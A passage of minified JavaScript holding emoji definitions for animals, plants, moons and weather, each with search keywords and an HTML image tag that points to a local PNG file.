0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc22" src="1f422.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},tropical_fish:{keywords:["animal","swim","ocean","beach","nemo"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc20" src="1f420.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},fish:{keywords:["animal","food","nature"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc1f" src="1f41f.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},blowfish:{keywords:["animal","nature","food","sea","ocean"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc21" src="1f421.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},dolphin:{keywords:["animal","nature","fish","sea","ocean","flipper","fins","beach"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc2c" src="1f42c.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},shark:{keywords:["animal","nature","fish","sea","ocean","jaws","fins","beach"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd88" src="1f988.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},whale:{keywords:["animal","nature","sea","ocean"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc33" src="1f433.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},whale2:{keywords:["animal","nature","sea","ocean"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc0b" src="1f40b.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},crocodile:{keywords:["animal","nature","reptile","lizard","alligator"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc0a" src="1f40a.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},leopard:{keywords:["animal","nature"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc06" src="1f406.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},zebra:{keywords:["animal","nature","stripes","safari"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd93" src="1f993.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},tiger2:{keywords:["animal","nature","roar"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc05" src="1f405.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},water_buffalo:{keywords:["animal","nature","ox","cow"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc03" src="1f403.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},ox:{keywords:["animal","cow","beef"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc02" src="1f402.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},cow2:{keywords:["beef","ox","animal","nature","moo","milk"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc04" src="1f404.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},deer:{keywords:["animal","nature","horns","venison"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd8c" src="1f98c.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},dromedary_camel:{keywords:["animal","hot","desert","hump"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc2a" src="1f42a.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},camel:{keywords:["animal","nature","hot","desert","hump"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc2b" src="1f42b.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},giraffe:{keywords:["animal","nature","spots","safari"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd92" src="1f992.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},elephant:{keywords:["animal","nature","nose","th","circus"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc18" src="1f418.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},rhinoceros:{keywords:["animal","nature","horn"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd8f" src="1f98f.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},goat:{keywords:["animal","nature"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc10" src="1f410.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},ram:{keywords:["animal","sheep","nature"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc0f" src="1f40f.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},sheep:{keywords:["animal","nature","wool","shipit"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc11" src="1f411.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},racehorse:{keywords:["animal","gamble","luck"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc0e" src="1f40e.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},pig2:{keywords:["animal","nature"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc16" src="1f416.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},rat:{keywords:["animal","mouse","rodent"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc00" src="1f400.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},mouse2:{keywords:["animal","nature","rodent"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc01" src="1f401.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},rooster:{keywords:["animal","nature","chicken"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc13" src="1f413.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},turkey:{keywords:["animal","bird"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd83" src="1f983.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},dove:{keywords:["animal","bird"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd4a" src="1f54a.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},dog2:{keywords:["animal","nature","friend","doge","pet","faithful"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc15" src="1f415.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},poodle:{keywords:["dog","animal","101","nature","pet"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc29" src="1f429.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},cat2:{keywords:["animal","meow","pet","cats"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc08" src="1f408.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},rabbit2:{keywords:["animal","nature","pet","magic","spring"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc07" src="1f407.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},chipmunk:{keywords:["animal","nature","rodent","squirrel"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc3f" src="1f43f.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},hedgehog:{keywords:["animal","nature","spiny"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd94" src="1f994.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},raccoon:{keywords:["animal","nature"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd9d" src="1f99d.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},llama:{keywords:["animal","nature","alpaca"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd99" src="1f999.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},hippopotamus:{keywords:["animal","nature"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd9b" src="1f99b.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},kangaroo:{keywords:["animal","nature","australia","joey","hop","marsupial"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd98" src="1f998.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},badger:{keywords:["animal","nature","honey"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udda1" src="1f9a1.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},swan:{keywords:["animal","nature","bird"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udda2" src="1f9a2.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},peacock:{keywords:["animal","nature","peahen","bird"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd9a" src="1f99a.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},parrot:{keywords:["animal","nature","bird","pirate","talk"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd9c" src="1f99c.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},lobster:{keywords:["animal","nature","bisque","claws","seafood"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd9e" src="1f99e.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},mosquito:{keywords:["animal","nature","insect","malaria"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd9f" src="1f99f.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},paw_prints:{keywords:["animal","tracking","footprints","dog","cat","pet","feet"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc3e" src="1f43e.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},dragon:{keywords:["animal","myth","nature","chinese","green"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc09" src="1f409.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},dragon_face:{keywords:["animal","myth","nature","chinese","green"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc32" src="1f432.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},cactus:{keywords:["vegetable","plant","nature"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf35" src="1f335.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},christmas_tree:{keywords:["festival","vacation","december","xmas","celebration"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf84" src="1f384.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},evergreen_tree:{keywords:["plant","nature"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf32" src="1f332.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},deciduous_tree:{keywords:["plant","nature"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf33" src="1f333.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},palm_tree:{keywords:["plant","vegetable","nature","summer","beach","mojito","tropical"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf34" src="1f334.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},seedling:{keywords:["plant","nature","grass","lawn","spring"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf31" src="1f331.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},herb:{keywords:["vegetable","plant","medicine","weed","grass","lawn"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf3f" src="1f33f.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},shamrock:{keywords:["vegetable","plant","nature","irish","clover"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2618" src="2618.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},four_leaf_clover:{keywords:["vegetable","plant","nature","lucky","irish"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf40" src="1f340.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},bamboo:{keywords:["plant","nature","vegetable","panda","pine_decoration"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf8d" src="1f38d.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},tanabata_tree:{keywords:["plant","nature","branch","summer"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf8b" src="1f38b.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},leaves:{keywords:["nature","plant","tree","vegetable","grass","lawn","spring"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf43" src="1f343.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},fallen_leaf:{keywords:["nature","plant","vegetable","leaves"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf42" src="1f342.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},maple_leaf:{keywords:["nature","plant","vegetable","ca","fall"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf41" src="1f341.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},ear_of_rice:{keywords:["nature","plant"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf3e" src="1f33e.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},hibiscus:{keywords:["plant","vegetable","flowers","beach"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf3a" src="1f33a.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},sunflower:{keywords:["nature","plant","fall"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf3b" src="1f33b.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},rose:{keywords:["flowers","valentines","love","spring"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf39" src="1f339.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},wilted_flower:{keywords:["plant","nature","flower"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd40" src="1f940.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},tulip:{keywords:["flowers","plant","nature","summer","spring"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf37" src="1f337.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},blossom:{keywords:["nature","flowers","yellow"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf3c" src="1f33c.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},cherry_blossom:{keywords:["nature","plant","spring","flower"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf38" src="1f338.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},bouquet:{keywords:["flowers","nature","spring"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc90" src="1f490.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},mushroom:{keywords:["plant","vegetable"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf44" src="1f344.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},chestnut:{keywords:["food","squirrel"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf30" src="1f330.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},jack_o_lantern:{keywords:["halloween","light","pumpkin","creepy","fall"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf83" src="1f383.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},shell:{keywords:["nature","sea","beach"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc1a" src="1f41a.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},spider_web:{keywords:["animal","insect","arachnid","silk"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd78" src="1f578.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},earth_americas:{keywords:["globe","world","USA","international"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf0e" src="1f30e.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},earth_africa:{keywords:["globe","world","international"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf0d" src="1f30d.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},earth_asia:{keywords:["globe","world","east","international"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf0f" src="1f30f.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},full_moon:{keywords:["nature","yellow","twilight","planet","space","night","evening","sleep"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf15" src="1f315.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},waning_gibbous_moon:{keywords:["nature","twilight","planet","space","night","evening","sleep","waxing_gibbous_moon"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf16" src="1f316.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},last_quarter_moon:{keywords:["nature","twilight","planet","space","night","evening","sleep"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf17" src="1f317.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},waning_crescent_moon:{keywords:["nature","twilight","planet","space","night","evening","sleep"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf18" src="1f318.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},new_moon:{keywords:["nature","twilight","planet","space","night","evening","sleep"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf11" src="1f311.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},waxing_crescent_moon:{keywords:["nature","twilight","planet","space","night","evening","sleep"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf12" src="1f312.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},first_quarter_moon:{keywords:["nature","twilight","planet","space","night","evening","sleep"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf13" src="1f313.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},waxing_gibbous_moon:{keywords:["nature","night","sky","gray","twilight","planet","space","evening","sleep"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf14" src="1f314.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},new_moon_with_face:{keywords:["nature","twilight","planet","space","night","evening","sleep"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf1a" src="1f31a.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},full_moon_with_face:{keywords:["nature","twilight","planet","space","night","evening","sleep"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf1d" src="1f31d.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},first_quarter_moon_with_face:{keywords:["nature","twilight","planet","space","night","evening","sleep"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf1b" src="1f31b.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},last_quarter_moon_with_face:{keywords:["nature","twilight","planet","space","night","evening","sleep"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf1c" src="1f31c.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},sun_with_face:{keywords:["nature","morning","sky"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf1e" src="1f31e.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},crescent_moon:{keywords:["night","sleep","sky","evening","magic"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf19" src="1f319.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},star:{keywords:["night","yellow"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2b50" src="2b50.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},star2:{keywords:["night","sparkle","awesome","good","magic"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf1f" src="1f31f.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},dizzy:{keywords:["star","sparkle","shoot","magic"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcab" src="1f4ab.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},sparkles:{keywords:["stars","shine","shiny","cool","awesome","good","magic"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2728" src="2728.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},comet:{keywords:["space"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2604" src="2604.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},sunny:{keywords:["weather","nature","brightness","summer","beach","spring"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2600\ufe0f" src="2600.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},sun_behind_small_cloud:{keywords:["weather"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf24" src="1f324.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},partly_sunny:{keywords:["weather","nature","cloudy","morning","fall","spring"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u26c5" src="26c5.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},sun_behind_large_cloud:{keywords:["weather"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf25" src="1f325.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},sun_behind_rain_cloud:{keywords:["weather"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf26" src="1f326.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},cloud:{keywords:["weather","sky"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2601\ufe0f" src="2601.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},cloud_with_rain:{keywords:["weather"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf27" src="1f327.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},cloud_with_lightning_and_rain:{keywords:["weather","lightning"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u26c8" src="26c8.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},cloud_with_lightning:{keywords:["weather","thunder"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf29" src="1f329.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},zap:{keywords:["thunder","weather","lightning bolt","fast"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u26a1" src="26a1.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},fire:{keywords:["hot","cook","flame"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd25" src="1f525.png"/>',fitzpatrick_scale:!1,category:"animals_and_nature"},boom:{keywords:["bomb","explode","explosion","collision","blown"],char:'<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udca5" 